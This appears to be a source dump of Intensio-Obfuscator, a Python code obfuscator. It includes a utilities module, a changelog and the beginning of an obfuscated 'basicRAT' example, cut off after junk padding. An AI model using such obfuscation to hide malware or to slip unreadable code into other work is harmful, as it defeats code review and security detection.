31 | OPFgNKyvdPSOKTvUxHenUBGKpiqvqUuXIwIvUHeCqiseWPLdSisZCvoEYXtmCVfS = daYWuOqQBZdkxakqmJFQndxxbDevOnztEfPTclFbYGIhqYoDMyZlGRbNhFZauzKf
32 | for okepudvzHoHBgIzkHiAuFXPPSzJTFLXWIFoPoIJfirwZplLfsRzbyXTAMwEYXZXd in cTvyAgbUgvEtxAhDbzoLCogFFCTRVYGFeBYgTKurvyKXqZbeeJwAisNgzSNTAhUO:
33 | GYcqeuDZbgLycjKVJikmMeHPzgqSXYjtGyxcEwfUrXDwGIcGZBHSqgdzvaWWuGBe = okepudvzHoHBgIzkHiAuFXPPSzJTFLXWIFoPoIJfirwZplLfsRzbyXTAMwEYXZXd
34 | LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW = LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW << 8
35 | iExYQaTxUUgmYGwWQylAxGDZWMAFapjZaYkkRaTlUQEAKgdvEjdztcxPsIhfwwpl = 'RFrNEBZRzIpzZLFBNKyWldxkxXDTAeJBDYwxNQImRgFkQkbyXjJHVJqslkvfKsaD'
36 | LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW += ord(bytes[-1])
37 | bytes = bytes[:-1]
38 | return LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW
39 | def lNTilKgpxqzjIYfOmmnDcoghPLVpmzDmSpYHRWPPZMKHKtuyHKmKUTiBkulpKMZK(LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW):
40 | qwqTTVzGFEQGRybLZPiPSiAUVWTYWTGeOgViNeYCrLWuFjwDqYnmBGFVRllXWyZY = ''
41 | yeXIoOqwBOnIOrDdFVBKpqOvWxVDMLCgaUrzgnAAyiwiwBalYnEXXhHmlcNnLgoE = 'gEZaGmCGRcbofLwkufktyoJDVenYZxReyYjiuDkFOUlNQQmRJlnOTPUjXMCsjUoX'
42 | PXNGkgJFfIUiAMQeEsSIPrEyGybFHPvXGEXEeyuLsEPbiTuybzlhwEfrxtcWWtws = 'JeRzPUAUsFoFtmhoysGJcfWTEZHMrYchQaNxVothnqqxSnVrgWLqBEphpqaXxhzY'
43 | if yeXIoOqwBOnIOrDdFVBKpqOvWxVDMLCgaUrzgnAAyiwiwBalYnEXXhHmlcNnLgoE != PXNGkgJFfIUiAMQeEsSIPrEyGybFHPvXGEXEeyuLsEPbiTuybzlhwEfrxtcWWtws:
44 | yeXIoOqwBOnIOrDdFVBKpqOvWxVDMLCgaUrzgnAAyiwiwBalYnEXXhHmlcNnLgoE = 'JeRzPUAUsFoFtmhoysGJcfWTEZHMrYchQaNxVothnqqxSnVrgWLqBEphpqaXxhzY'
45 | PXNGkgJFfIUiAMQeEsSIPrEyGybFHPvXGEXEeyuLsEPbiTuybzlhwEfrxtcWWtws = yeXIoOqwBOnIOrDdFVBKpqOvWxVDMLCgaUrzgnAAyiwiwBalYnEXXhHmlcNnLgoE
46 | yeXIoOqwBOnIOrDdFVBKpqOvWxVDMLCgaUrzgnAAyiwiwBalYnEXXhHmlcNnLgoE = 'gEZaGmCGRcbofLwkufktyoJDVenYZxReyYjiuDkFOUlNQQmRJlnOTPUjXMCsjUoX'
47 | while LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW:
48 | RZflFyyCnCLpbJFiLpmXCLTvHORriIcMrhcoyYENjTxhSZlFcGDAzNtxVzhYEHmm = 'InNzXsVafQnskskrhzDKuMAqWStBbwyLViSCAgyymJNhcYdvHuYqQzQjOfeVeZeI'
49 | XaJmelsiUaiBSSBBdtqFdgbJkEjfMFvgZSVpFdpylhKxMnsVslaGsRJiXXXHpjZN = 'DPmMYvCNuhtuzftgpgnEcZsyDHRZXFQJYIsNPHgjxiZUqbZoAltHAIjwQSAvyZFU'
50 | aoOwZPLJTSueeTOBDBdHDBkoQAblwapFSjpLgWaZaeFKWLiAFAXavzIcvDQLzrFa = 'xvFpUEdBXfHwCtzZkSrQedOEaVxvHwDySzHJqaTElxFUaSXTcnpFnfhrNpnmWoAh'
51 | ixSsplXkvBGRymzcKZZPUqReUQNvQhiuZpEIYgzhOOZjhYWhqqzZtndddWywWozJ = 'NsIeWjuwndxmtwiVeuNJESEmlshaUayighmvaxhUxbZCXoUoxtpSFyyacFiyVvls'
52 | HlIDfAUrzqtENvcletNNLEVBbtpgiYuMMqWoNYFXJNoAequqlzBeKNlCZLgMBwNq = 'QqTmajLIadmtuqMCmGiraesgFanvJMHwHOhsUKhDDidEvMBwKMiNtQaeQMxBtITp'
53 | AdEcPbEEbEkhJhTBBuWanKkZVCokcmJbjYoNUJOrmSZqHfLMfCkvWkJcSqHNawwB = 'sBXsPCjJODavnORHRwipswbFvpgCLLcWTpKYKYzMnHPsUVnHCMPmIXZIaRtBieFT'
54 | if aoOwZPLJTSueeTOBDBdHDBkoQAblwapFSjpLgWaZaeFKWLiAFAXavzIcvDQLzrFa == ixSsplXkvBGRymzcKZZPUqReUQNvQhiuZpEIYgzhOOZjhYWhqqzZtndddWywWozJ:
55 | for AdEcPbEEbEkhJhTBBuWanKkZVCokcmJbjYoNUJOrmSZqHfLMfCkvWkJcSqHNawwB in HlIDfAUrzqtENvcletNNLEVBbtpgiYuMMqWoNYFXJNoAequqlzBeKNlCZLgMBwNq:
56 | if AdEcPbEEbEkhJhTBBuWanKkZVCokcmJbjYoNUJOrmSZqHfLMfCkvWkJcSqHNawwB == ixSsplXkvBGRymzcKZZPUqReUQNvQhiuZpEIYgzhOOZjhYWhqqzZtndddWywWozJ:
57 | HlIDfAUrzqtENvcletNNLEVBbtpgiYuMMqWoNYFXJNoAequqlzBeKNlCZLgMBwNq = RZflFyyCnCLpbJFiLpmXCLTvHORriIcMrhcoyYENjTxhSZlFcGDAzNtxVzhYEHmm
58 | else:
59 | ixSsplXkvBGRymzcKZZPUqReUQNvQhiuZpEIYgzhOOZjhYWhqqzZtndddWywWozJ = XaJmelsiUaiBSSBBdtqFdgbJkEjfMFvgZSVpFdpylhKxMnsVslaGsRJiXXXHpjZN
60 | qwqTTVzGFEQGRybLZPiPSiAUVWTYWTGeOgViNeYCrLWuFjwDqYnmBGFVRllXWyZY += chr(LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW & 0xff)
61 | LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW = LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW >> 8
62 | EpNpKMkzARGOZeCvotDGVDnHkeUTsMXRVderBvDoGcPoVwdZTiXmuCRKbxatQELh = 'jUpoQjEzCaSSTNRnNjzPcLVlhljngtITdSSHqQzImbajKCgdikMpWHJOAwFAkKZf'
63 | cPllSQsaFhCrriFSEaAkHnrGwGihukPBHBaZxzesQIixjLilAPRCSJcQJkLKQNrA = 'RQSMceYRxdQujnHOJIHZyvVktokNZwvnECnWLhkdBpSXIewHwEhEMufCviYonAdd'
64 | if EpNpKMkzARGOZeCvotDGVDnHkeUTsMXRVderBvDoGcPoVwdZTiXmuCRKbxatQELh != cPllSQsaFhCrriFSEaAkHnrGwGihukPBHBaZxzesQIixjLilAPRCSJcQJkLKQNrA:
65 | EpNpKMkzARGOZeCvotDGVDnHkeUTsMXRVderBvDoGcPoVwdZTiXmuCRKbxatQELh = 'RQSMceYRxdQujnHOJIHZyvVktokNZwvnECnWLhkdBpSXIewHwEhEMufCviYonAdd'
66 | cPllSQsaFhCrriFSEaAkHnrGwGihukPBHBaZxzesQIixjLilAPRCSJcQJkLKQNrA = EpNpKMkzARGOZeCvotDGVDnHkeUTsMXRVderBvDoGcPoVwdZTiXmuCRKbxatQELh
67 | EpNpKMkzARGOZeCvotDGVDnHkeUTsMXRVderBvDoGcPoVwdZTiXmuCRKbxatQELh = 'jUpoQjEzCaSSTNRnNjzPcLVlhljngtITdSSHqQzImbajKCgdikMpWHJOAwFAkKZf'
68 | return qwqTTVzGFEQGRybLZPiPSiAUVWTYWTGeOgViNeYCrLWuFjwDqYnmBGFVRllXWyZY
69 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/core/utils/intensio_utils.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
4 |
5 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
6 |
7 | import sys
8 | import glob
9 | import os
10 |
11 | #------------------------------------------------- [Function(s)/Class(es)] --------------------------------------------------#
12 |
13 | class Utils:
14 |
15 | def __init__(self):
16 | self.platform = sys.platform
17 |
18 |
19 | def Platform(self, getOS, getPathType):
20 | if getOS == True:
21 | if self.platform == "win32":
22 | return "win32"
23 | else:
24 | return "unix"
25 | elif getPathType == True:
26 | if self.platform == "win32":
27 | return "\\"
28 | else:
29 | return "/"
30 |
31 |
32 | def DictMerge(self, dict1, dict2):
33 | merge = {**dict1, **dict2}
34 | return merge
35 |
36 |
37 | def DetectIntoSimpleQuotes(self, line, maxIndexLine=None):
38 | if maxIndexLine == None:
39 | maxIndex = len(line)
40 | else:
41 | maxIndex = maxIndexLine
42 |
43 | countQuotes = 0
44 | countLoop = 0
45 |
46 | for i in line:
47 | if countLoop == maxIndex:
48 | break
49 | else:
50 | pass
51 | if i == "\"" or i == "\'":
52 | if line[countLoop - 1] == "\\":
53 | pass
54 | else:
55 | countQuotes += 1
56 | countLoop += 1
57 |
58 | if countQuotes == 0:
59 | return False
60 | elif (countQuotes % 2) == 0:
61 | return False
62 | else:
63 | return True
64 |
65 |
66 | def DetectMultipleLinesQuotes(self, line):
67 | countQuotes = 0
68 | simpleQuotes = 0
69 | doubleQuotes = 0
70 | numberQuotes = 0
71 |
72 | for i in line:
73 | if i == "\"" or i == "\'":
74 | if i == "\'":
75 | simpleQuotes += 1
76 | if i == "\"":
77 | doubleQuotes += 1
78 |
79 | if simpleQuotes >= doubleQuotes:
80 | numberQuotes = simpleQuotes
81 | else:
82 | numberQuotes = doubleQuotes
83 |
84 | if numberQuotes == 0:
85 | return False
86 | elif (numberQuotes % 2) == 0:
87 | return False
88 | else:
89 | return True
90 |
91 |
92 | def VerifyMultipleLinesComments(self, line):
93 | countQuotes = 0
94 | simpleQuotes = 0
95 | doubleQuotes = 0
96 | numberQuotes = 0
97 |
98 | for i in line:
99 | if i == "\"" or i == "\'":
100 | if i == "\'":
101 | simpleQuotes += 1
102 | if i == "\"":
103 | doubleQuotes += 1
104 |
105 | if simpleQuotes >= doubleQuotes:
106 | numberQuotes = simpleQuotes
107 | else:
108 | numberQuotes = doubleQuotes
109 |
110 | if numberQuotes == 0:
111 | return False
112 | elif (numberQuotes % 2) == 0:
113 | return False
114 | else:
115 | if numberQuotes == 3:
116 | return True
117 | else:
118 | return False
119 |
120 |
121 | def RemoveDuplicatesValuesInList(self, listArg):
122 | removeDuplicateValues = list(dict.fromkeys(listArg))
123 | return removeDuplicateValues
124 |
125 |
126 | def CheckFileDir(self, output, detectFiles, blockDir, blockFile, dirOnly):
127 | filesName = []
128 |
129 | if dirOnly == False:
130 | recursFiles = [
131 | file for file in glob.glob("{0}{1}**{1}*.{2}".format(
132 | output,
133 | Utils.Platform(self, getOS=False, getPathType=True),
134 | detectFiles),
135 | recursive=True
136 | )
137 | ]
138 | else:
139 | recursFiles = [
140 | file for file in glob.glob("{0}{1}**{1}".format(
141 | output,
142 | Utils.Platform(self, getOS=False, getPathType=True),
143 | ),
144 | recursive=True
145 | )
146 | ]
147 |
148 | for file in recursFiles:
149 | if blockFile == False:
150 | if blockDir in file:
151 | continue
152 | else:
153 | if os.path.getsize(file) > 0:
154 | filesName.append(file)
155 | else:
156 | continue
157 | else:
158 | if blockDir in file or blockFile in file:
159 | continue
160 | else:
161 | if os.path.getsize(file) > 0:
162 | filesName.append(file)
163 | else:
164 | continue
165 |
166 | return filesName[:]
167 |
168 |
169 | class Reg:
170 | # -- All features -- #
171 | checkIfVarMultipleQuotes = r"\s*[\w\.]+\s*\=\s*.*[\"|\']{3}"
172 | checkIfRegexMultipleQuotes = r"\s*r{1}[\']{3}|\s*r{1}[\"]{3}"
173 | checkIfStdoutMultipleQuotes = r"\s*print{1}\s*\(?[\"|\']{3}|\s*sys\.write\.stdout{1}\s*\(?[\"|\']{3}"
174 | checkIfEndVarStdoutMultipleQuotes = r".*\"{3}|.*\'{3}"
175 |
176 | pythonFileHeader = r"^\s*\#\!.*python|^\s*\#\s*-\*-"
177 |
178 | # -- Delete empty line feature -- #
179 | detectLineEmpty = r"^\s*$"
180 |
181 | # -- Delete comments feature only -- #
182 | hashCommentsAfterLine = r"^[^\#]+\#.*"
183 | hashCommentsBeginLine = r"^\s*\#.*"
184 |
185 | quotesCommentsMultipleLines = r"^\s+[\"|\']{3}\s*|^[\"|\']{3}\s*"
186 | quotesCommentsOneLine = r"^\s*[\"]{3}.*[\"]{3}\s*$|^\s*[\']{3}.*[\']{3}\s*$"
187 | quotesCommentsEndMultipleLines = r"^\s+[\"|\']{3}\s*|^[\"|\']{3}\s*|.+[\"|\']{3}\s*$"
188 |
189 | # -- Replace string to string feature only -- #
190 | detectSpecialChars = r"\.|\:|\)|\(|\=|\[|\]|\{|\}|\,|\+|\s|\*|\-|\%|\/|\^|\'|\""
191 | detectSpecialCharsWihtoutQuotes = r"\.|\:|\)|\(|\=|\[|\]|\{|\}|\,|\+|\s|\*|\-|\%|\/|\^"
192 |
193 | # -- Replace string to string feature and Padding empty classes and functions feature -- #
194 | detectFunctions = r"def\s+(\w+)"
195 | detectClasses = r"class\s+(\w+)"
196 | detectErrorVars = r"except(\s+\w+\s+as\s+)(\w)"
197 | detectLoopVars = r"for\s+([\w\s\,]+)(\s+in\s+)"
198 | detectSimpleVars = r"(^[\s|a-zA-Z_]+[\,\s\w]{0,})+(\s*=\s*[\[|\{\(|\w+|\"|\'])"
199 |
200 | # -- Padding scripts feature only -- #
201 | addIndentScript = r".*\:{1}\s*$"
202 | noAddScript = r"^\@|\s+\@|\s+return|\s*def\s+.+\s*\:{1}|^class\s+.+\s*\:{1}|.*[\{|\[|\(|\)|\]|\}|\,|\\|\^|\'|\"|0-9]\s*$|\s+yield.*|\s+raise.*|\s*\)+\s*for\s+\w+\s+in\s+"
203 | detectComma = r".+\,{1}\s*$"
204 | detectOpenSymb = r".+[\{|\[|\(]$|.+[\{|\[|\(]\s+$"
205 |
206 | # -- Padding empty classes feature only -- #
207 | checkClassInLine = r"\s*class\s+\w+"
208 |
209 | # -- Padding empty functions feature only -- #
210 | checkFunctionInLine = r"\s*def\s+\w+"
211 |
212 | # -- Delete .pyc files feature only -- #
213 | detectPycFiles = r".*\.pyc$"
214 |
215 | # -- Replace files name feature only -- #
216 | detectPythonImport = r"\s*from\s+|\s*import\s+"
217 |
218 | # -- Replace string to hex feature only -- #
219 | detectExecFunction = r"exec\(\w+\)"
220 | detectMultipleQuotes = r"\'{3}|\"{3}"
221 |
222 | # -- Detect arg of program -- #
223 | detectMlenArg = r"^lower$|^medium$|^high$"
224 | detectIndentArg = r"^[2|4|8]$"
225 |
226 |
227 | class Colors:
228 | # PROGRESS = "\033[94m" + "\033[1m" # blue + bold
229 | SUCCESS = "\033[92m" # green
230 | SECTION = "\033[93m" + "\033[1m" # yellow + bold
231 | ERROR = "\x1b[1;37;41m" # highlighted red
232 | DISABLE = "\033[0m" # disable colors
233 |
234 |
235 | # --only for breaking a loop -- #
236 | class BreakLoop (Exception):
237 | pass
238 |
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | # CHANGELOG of Intensio-Obfuscator project
2 |
3 | ## 07-25-2020
4 | - [upgrade] to version 1.0.10.6
5 | - [update] project not maintained anymore
6 |
7 | ## 07-16-2020
8 | - [upgrade] to version 1.0.10.4-5
9 | - [fix] issue #58
10 | - [fix] issue #57
11 | - [add] `--version` parameter to display current version of tool
12 |
13 | ## 07-15-2020
14 | - [upgrade] to version 1.0.10.1-3
15 | - [fix] ModuleNotFoundError add a comptatibility of imports when tool is installed from python package or source, the python path has not been defined identically
16 | - [add] pypi_README.md file for documentation of pipy (https://pypi.org/project/intensio-obfuscator/)
17 |
18 | ## 07-14-2020
19 | - [upgrade] to version 1.0.10.0
20 | - [fix] issue #51 (release on PyPI)
21 | - [update] change directory name of `examples` to `obfuscation_examples`
22 | - [update] change directory name of `exclude` to `exclude_examples`
23 | - [add] core/utils/intensio_exclude.py file to store all words excluded by default
24 | - [add] new parameter `--excludewords` to specify a file to exclude words for `-rts, --replacetostr` feature
25 | - [add] new parameter `--excludefiles` to specify a file to exlude files for `-rfn, --replacefilename` feature
26 | - [remove] old release version directory
27 |
28 | ## 07-09-2020
29 | - [upgrade] to version 1.0.9.9
30 | - [fix] issue #53
31 | - [fix] issue #44 with pull request #52
32 |
33 | ## 05-30-2020
34 | - [upgrade] to version 1.0.9.8
35 | - [update] isse template file
36 | - [update] documentation for code compatibility documentation
37 |
38 | ## 05-22-2020
39 | - [upgrade] to version 1.0.9.7
40 | - [fix] issue #49
41 |
42 | ## 05-15-2020
43 | - [upgrade] to version 1.0.9.6
44 | - [update] documentation, delete efficacy part
45 | - [add] an issue template file
46 |
47 | ## 05-14-2020
48 | - [upgrade] to version 1.0.9.5
49 | - [update] inverse all values of integer return (0 -> 1 and 1 -> 0)
50 | - [update] documentation and add efficacy and compatibility part
51 |
52 | ## 05-13-2020
53 | - [upgrade] to version 1.0.9.4
54 | - [fix] issue #48
55 | - [update] check of specific values in lists ,dicts ands tuples on multiple lines for `-ps, --padding` feature
56 |
57 | ## 05-12-2020
58 | - [upgrade] to version 1.0.9.3
59 | - [update] delete default value of `-ind, --indent` and `-mlen, --mixerlength ` parameter and turn these defaults values to False
60 | - [add] new parameter `-ind, --indent` to indicate manually base indentation of python source code
61 |
62 | ## 05-11-2020
63 | - [upgrade] to version 1.0.9.2
64 | - [fix] issue #46 - improve detect multiple lines code of Replace string to string and Padding scripts features
65 |
66 | ## 05-10-2020
67 | - [upgrade] to version 1.0.9.1
68 | - [fix] a part of issue #46 - improve detect multiple lines code of Deletes comments feature
69 |
70 | ## 05-09-2020
71 | - [upgrade] to version 1.0.9.0
72 | - [fix] issue #26
73 | - [fix] issue #23
74 | - [fix] regex in delete comments feature which could generate bad behavior with certain type of case involving quotes strings
75 | - [fix] bad detection when the variable had a value on multiple line in replace string to string feature
76 | - [update] henceforth it's possible to launch tool without obfuscation argument as [-rts, -ps, -rfn, -rth]
77 | - [add] execution time of Intensio-Obfuscator tool
78 |
79 | ## 03-29-2020
80 | - [upgrade] to version 1.0.8.6
81 | - [fix] issue #37
82 |
83 | ## 03-28-2020
84 | - [upgrade] to version 1.0.8.5
85 | - [fix] issue #39
86 | - [fix] issue #38
87 | - [update] for padding scripts `-ps, --paddingscript` feature, adding support of 2 and 8 basic python indentation
88 |
89 | ## 03-16-2020
90 | - [upgrade] to version 1.0.8.4
91 | - [update] StringGenerator function to reduce the process of string replacement when `-rts, --replacetostr` is called
92 | - [update] move any line feed (\n) after disabling the color
93 |
94 | ## 03-10-2020
95 | - [upgrade] to version 1.0.8.3
96 | - [remove] intensio_error.py file, that contained useless feature to improve verbosity type of error during the reading of Intensio-Obfuscator code
97 | - [remove] `simple` level of string generated for obfuscation is removed, previous parameter` hard` level obfuscation is used by default for level of strings generated for obfuscation now
98 | - [remove] parameter `-mlvl, --mixerlevel` to control obfuscation level of strings generated (`simple` by default or `hard`)
99 |
100 | ## 03-10-2020
101 | - [Upgrade] to version 1.0.8.2
102 | - [Remove] intensio_error.py file, that contained useless feature to improve verbosity type of error during the reading of Intensio-Obfuscator code
103 | - [Remove] `simple` level of string generated for obfuscation is removed, previous parameter` hard` level obfuscation is used by default for level of strings generated for obfuscation now
104 | - [Remove] parameter `-mlvl, --mixerlevel` to control obfuscation level of strings generated (`simple` by default or `hard`)
105 |
106 | ## 02-01-2020
107 | - [Upgrade] to version 1.0.8.1
108 | - [Update] visibility of code with PEP 8 recommandation part : `maximum line length`
109 |
110 | ## 01-28-2020
111 | - [Upgrade] to version 1.0.8.0
112 | - [Update] `-m, -mixerlevel` becomes `-mlen, --mixerlength` to control length of random strings generated
113 | - [Update] redefine all colors without external library
114 | - [Fix] issue #14
115 | - [Fix] issue #28
116 | - [Add] new paramter `-mlvl, --mixerlevel` to control obfuscation level of strings generated (`simple` by default or `hard`)
117 |
118 | ## 01-07-2020
119 | - [upgrade] to version 1.0.7.0
120 | - [update] spelling error (remove becomes delete)
121 | - [update] name of class `Remove` to `Delete`
122 | - [update] name of `intensio_remove.py` to `intensio_delete.py`
123 | - [add] new feature to exclude file name of obfuscation #35
124 | - [add] `Intensio-Obfuscator/intensio/exclude/file_name/exclude_file_name_by_user.txt` allow a user to exclude file name when the `replace file name [-rfn, --replacefilename]` is called
125 |
126 | ## 10-02-2019
127 | - [upgrade] to version 1.0.6.0
128 | - [update] documentation Improvement
129 | - [update] improve visual quality of code
130 | - [update] `replace string to string mixed` feature, better detect somes code cases
131 | - [update] `padding script` feature, add 2 new random scripts
132 | - [update] change path of `Intensio-Obfuscator/intensio/exclude/python/include_python_words.txt` to `Intensio-Obfuscator/intensio/exclude/string_to_string_mixed_feature/exclude_word.txt`
133 | - [update] `exclude/string_to_string_mixed/exclude_words.txt`, adding several native python functions
134 | - [update] improve check process in `replace string to string mixed` feature and `padding script` feature with `-v, --verbose` parameter is enable
135 | - [update] `remove line space` feature is no longer called after each obfuscation function, henceforth now she is called only once at the beginning of the obfuscation process.
136 | - [update] change `print()` function that write in all file with fileinput library by sys.stdout.write function, now no space line is added after end line
137 | - [update] improve all regex that catch a specifique pattern in a file
138 | - [fix] issue #20 - no answer of user
139 | - [fix] issue #21 - updating `Remove comments` feature when she handle multiple quotes on one line and multiple lines \(I am waiting for the user to validate the fix\)
140 | - [fix] issue #22
141 | - [remove] `-c, --python` parameter, because is useless currently
142 | - [remove] demo, `docs/examples/python_code_examples.md` is enough
143 | - [remove] `Remove print function` feature, simpler action by the user herself
144 | - [remove] `Intensio-Obfuscator/intensio/include/python/include_python_words.txt` file is now useless with improve caught words in `replace string to string mixed` feature
145 | - [add] color and type of progress bar
146 | - [add] `correction padding class` feature (check if class are empty after `remove comments` feature is executed and adding padding)
147 | - [add] `correction padding function` feature (check if function are empty after `remove comments` feature is executed and adding padding)
148 | - [add] verbosity mode into `remove pyc file` feature - `padding class` feature - `padding function` feature
149 | - [add] check process in `replace file name` feature - `replace string to hex` feature - `padding class` feature - `padding function` feature and `remove pyc file` feature with `-v, --verbose` parameter
150 | - [add] `Intensio-Obfuscator/releases/` to store all old version of project
151 |
152 | ## 07-27-2019
153 | - [upgrade] to version 1.0.5.0
154 | - [update] Documentation Improvement
155 | - [update] color when tool Failed and Successful
156 | - [update] renaming all parameters and functions
157 | - [fix] issue #17
158 | - [fix] issue #18
159 | - [fix] issue #19
160 | - [add] new feature `-rth, --replacetohex`, see README.md for more informations
161 | - [add] new part of obfuscation `intermediate` in examples
162 | - [add] new feature `-rfn, --replacefilesname` see README.md for more informations
163 | - [add] new feature to trash all pyc files
164 |
165 | ## 07-01-2019
166 | - [upgrade] to version 1.0.4.0
167 | - [update] `-rc --rcomments`, this parameter is henceforth by executed default
168 | - [update] `-m --mixer` to `-m --mixerlevel`
169 | - [update] documentation Improvement
170 | - [fix] issue #11 - Improvement of the handle and detect process to all features
171 | - [remove] `docs/malfunctions.md` reference any known dysfunctions, is merged with `docs/recommendation.md`
172 | - [add] an copy of Intensio-Obfuscator project at test obfuscation code #5
173 | - [add] verbose mode `-v --verbose` #9
174 |
175 | ## 06-17-2019
176 | - [ugrade] version 1.0.3.0
177 | - [update] `-rm --remove` parameter to `-rc --rcomments` parameter to remove all comments
178 | - [add] new feature `-rp --rprint` this parameter remove all print functions
179 | - [add] `docs/recommendation.md` reference to all the best practices for using this tool
180 | - [add] `docs/malfunctions.md` reference any known dysfunctions
181 | - [add] `docs/examples/python_example.md` to put all examples will follow shortly
182 |
183 | ## 06-15-2019
184 | - [upgrade] version 1.0.2.0
185 | - [update] Path change from `include_python_words.txt` path to `include/python/include_python_words.txt`
186 | - [update] Path change from `exclude_python_words.txt` path to `include/python/exclude_python_words.txt`
187 | - [update] Correcting spelling errors in `intensio_replace.py`, `intensio_obfuscation.py`, `intensio_padding.py`, `intensio_remove.py`
188 | - [update] Improvement of the code by adding a better management of the display of the analyzed inputs/outputs and the variables/classes/functions found
189 | - [remove] `-f --onfile` and `-d --multiplefiles` parameters, henceforth it is necessary to pointed a directory that containt files to obfuscate
190 | - [add] a display tqdm bar progress when `-r --replace`, `-p --padding`, `-rm --remove` features are specified
191 |
192 | ## 06-07-2019
193 | - [upgrade] version 1.0.1.0
194 | - [update] one file example and multiple files example (larger project)
195 | - [update] README.md file improvement
196 | - [add] rules to replacement of variables - classes - functions
197 | - [add] rules to padding random scripts
198 | - [add] `include_python_words.txt`
199 | - [add] `exclude_python_words.txt`
200 | - [add] Allow execute each obfuscation features separately
201 |
202 | ## 06-02-2019
203 | - [upgrade] version 1.0.0.0
204 | - [add] Repository created
205 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/output/basicRAT-example/core/NRcysGFxRFRsXZvbyWkZoqxIDlQTnxYEaxFUfeWzefrxDUgMwwCNZBoNtZSmbYDF.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | class sbEbgmzqPDZVhsFZRQXTiYqeCZAJXDwFHLiBRCEqqytVgbSWRlMBlobhOYSGJMJM:
3 | def __init__(self):
4 | self.elvVwlTjpAznBGaUPfwUWrMKXVJakLGxmTzffUIQqsiljmeuKPwTkAsNtJodgKKc = 'UxRqOoBjeXvezbLSJRcijzxbXigQPVUTjtggiOHlBRqHqKzszqoablUUKweuCIcF'
5 | self.iqTvVLWepbDPxcNhDRworOmSSFGVioqvFKRRgFtzTTUMjIphrHyXnQndKaAGIJpj = 'VcGoRtilmaRkjkpeAzDHmXAgeUxksFnLtCOnAUtMsjfSTzNAqAoZBqaWfnqzosbA'
6 | self.jykzweVUkcOjGvEZFkwLGOorTnnrGWJgKVtuHYIqWZabHrbNIKHpTtmIvzKRASTD = []
7 | def wbduyuwsvmaxSUQahIbSgSrNGDbypZsgeYqsxECfygNuArephIWkZLFXMpPevwLD(self):
8 | self.jykzweVUkcOjGvEZFkwLGOorTnnrGWJgKVtuHYIqWZabHrbNIKHpTtmIvzKRASTD = True
9 | self.iqTvVLWepbDPxcNhDRworOmSSFGVioqvFKRRgFtzTTUMjIphrHyXnQndKaAGIJpj = 'kMaERssGVHGsvHmBuseouDtcqqtuoutNHkvCDfoJpIgDNwrkLFeSCjZUytfkaTJW'
10 | import socket
11 | TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk = 'SalHdjZrNrKtQPRhxNCTbbWSFNxGLcdELjwfqMShRbFQyTHUOGDpQWnvSIRkLEZA'
12 | nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm = 'yNqhemMnmNVvjsKfZJHdmvxAquvYFeCTwWXVecNrqveofijFiSkvigUZYyGQgMns'
13 | TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI = 'rBETJqGBOCcmTdjgVggzbhxUJJmAiFDJUQDKyTczHjupZXKpLSShgcmZRZvrZpQS'
14 | awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui = 'xNbTXzuefRpXbxyWPjvwvxtKcVFwJXBGQbqAjQVEEXPLlcfhOmCUSRErbfzmTpJE'
15 | if nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm == TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk:
16 | for TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk in nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm:
17 | if nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm == nydnvpkYEVPXuTKTHjKttdXXotmQVlVKpgNQHkbpGoObhrnDEVbUdVXDDDBQqGqm:
18 | TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI = 'awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui'
19 | elif TOlBqoooWbVAksEFODzVDXbHAtzyehGDPvAveDJKiqXalGRBBHsBfMbYCyCylrOI == awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui:
20 | awKWKJSUSkgqqorNbFWuqBjbrJaZKzVkrKyhtjKseQenlZRHJrPBYOYyezeMbLui = TJuNMpLobRxadTbwjQGwljfgJcFsInXBczoeBnBtTDdlRSzHkIUkeApvWyzdoDWk
21 | else:
